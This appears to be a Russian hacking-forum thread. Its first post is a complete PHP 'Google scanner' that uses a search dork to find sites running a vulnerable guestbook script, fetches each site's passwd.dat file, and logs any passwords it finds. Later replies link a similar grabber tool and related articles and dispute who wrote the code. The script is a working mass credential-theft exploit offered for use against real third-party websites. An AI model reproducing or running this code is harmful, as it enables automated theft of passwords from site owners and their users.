пробуйте ) ?> PHP: <html> <META HTTP-EQUIV=Content-Type CONTENT=text/html; charset='windows-1251'> <title>Гугля сканер)</title> <body bgcolor="black"> <pre><font face="Verdana" color="#00CC00"> <?php if (isset($_GET['host'])) $host = $_GET['host']; else $host = 'www.google.com'; // поисковый сервер if (isset($_GET['path'])) $path = $_GET['path']; else $path = 'gb/'; // путь к скрипту поиска if (isset($_GET['script_name'])) $script_name = $_GET['script_name']; else $script_name = 'index.php'; // имя файла бажного скрипта if (isset($_GET['query'])) $query = $_GET['query']; else $query = 'search?q=allintitle:s+r+guestbook+v1.3&num=100&hl=en'; // запрос $SPLOIT_STRING = 'passwd.dat'; // самое главное - эксплоит function grab_links($host, $path, $html_source) // эта функция выдирает все ссылки { global $log, $links; $log = fopen("goodebug.txt", "ab+"); // откроем файл для записи логов // Регулярное выражение для поиска всех ссылок preg_match_all("#<a.*?href=\"?'?([^\s\"'>]+)\"?'?.*?>(.*?)</a>#is", $html_source, $links); for ($i=0; $i<count($links[1]); $i++) { // сделаем из относительных ссылок абсолютные if (strpos($links[1][$i],"http") === false) $links[1][$i] = 'http://'.$host.$path.$links[1][$i]; echo $links[1][$i]."\r\n"; fputs($log, $links[1][$i]."\r\n"); // пишем все нефильтрованные ссылки в лог - на всякий случай, а вдруг у меня фильтр через жопу написан? =) } echo "\r\n"; } $socket = fsockopen($host, 80); // коннектимся... if (!$socket) { echo "Unable to connect to target server <b>\"$host\"</b>\r\n"; die("Socket Error =("); // коннекта нету =( } else { // формируем GET запрос к веб-серверу $GET_query = "GET ".$path.$query." HTTP/1.1\r\n". "Accept: */*\r\n". "Accept-Language: en\r\n". "User-Agent: Sad Internet Spider v1.0\r\n". "Host: $host\r\n". "Connection: Close\r\n\r\n"; fputs($socket, $GET_query); while (!feof($socket)) { $html_source .= fgets($socket, 256); // получаем данные из сокета } grab_links($host, $path, $html_source); // выдираем ссылки for ($i=0; $i<count($links[1]); $i++) // проходим все ссылки и обрабатываем их { if ((strpos($links[1][$i],"search") === false) && (strpos($links[1][$i], 'google') === false)) { // фильтруем левые ссылки $good_link = substr($links[1][$i], 0, strpos($links[1][$i], $script_name)); if ($good_link) { // нашли "хорошую" ссылку fputs($log, "Good link: ".$good_link."\r\n"); // запишем-ка мы ее в лог $file = @fopen($good_link.$SPLOIT_STRING, "rb"); // пытаемся слить файл if (!$file) fputs($log, "Cannot open file: ".$good_link.$SPLOIT_STRING."\r\n"); // облом =( else { // успешно открыли файл fputs($log, "File ".$good_link.$SPLOIT_STRING." successfully opened.\r\n"); while (!feof($file)) { $result .= fgets($file, 256); // долгожданный результат =) } if (strpos($result, 'Password') === false) // если пассов нет { echo "\r\n Тут нет пароля =( ( бля) ".$good_link.$SPLOIT_STRING." \r\n"; unset($result); } else { // если все путем echo "\r\nFile from ".$good_link.":\r\n".htmlspecialchars($result)."\r\n"; fputs(fopen("goolog.txt", "ab+"), "\r\nFile from ".$good_link.":\r\n".$result."\r\n"); unset($result); } } // обработали файл } // конец обработки "хорошей" ссылки } // конец фильтра левых ссылок } // конец обработки всех ссылок } ?> </font></pre></body></html> типо в стиле Ачата (цвета )
Сорри за оффтоп но есть еще такой гугл сканер: [offtop]www.poonk.jino-net.ru/tools/Google_Grabber.rar[/offtop] Еще раз сорри за оффтоп
Ианыч похоже, не прада ли? _http://forum.web-hack.ru/index.php?showtopic=22289 Копирайты поставь, или я поставлю...
инфа по сабжу: http://hellknights.void.ru/articles/0x48k-b07n37.html http://hellknights.void.ru/articles/0x48k-b07n37_2.html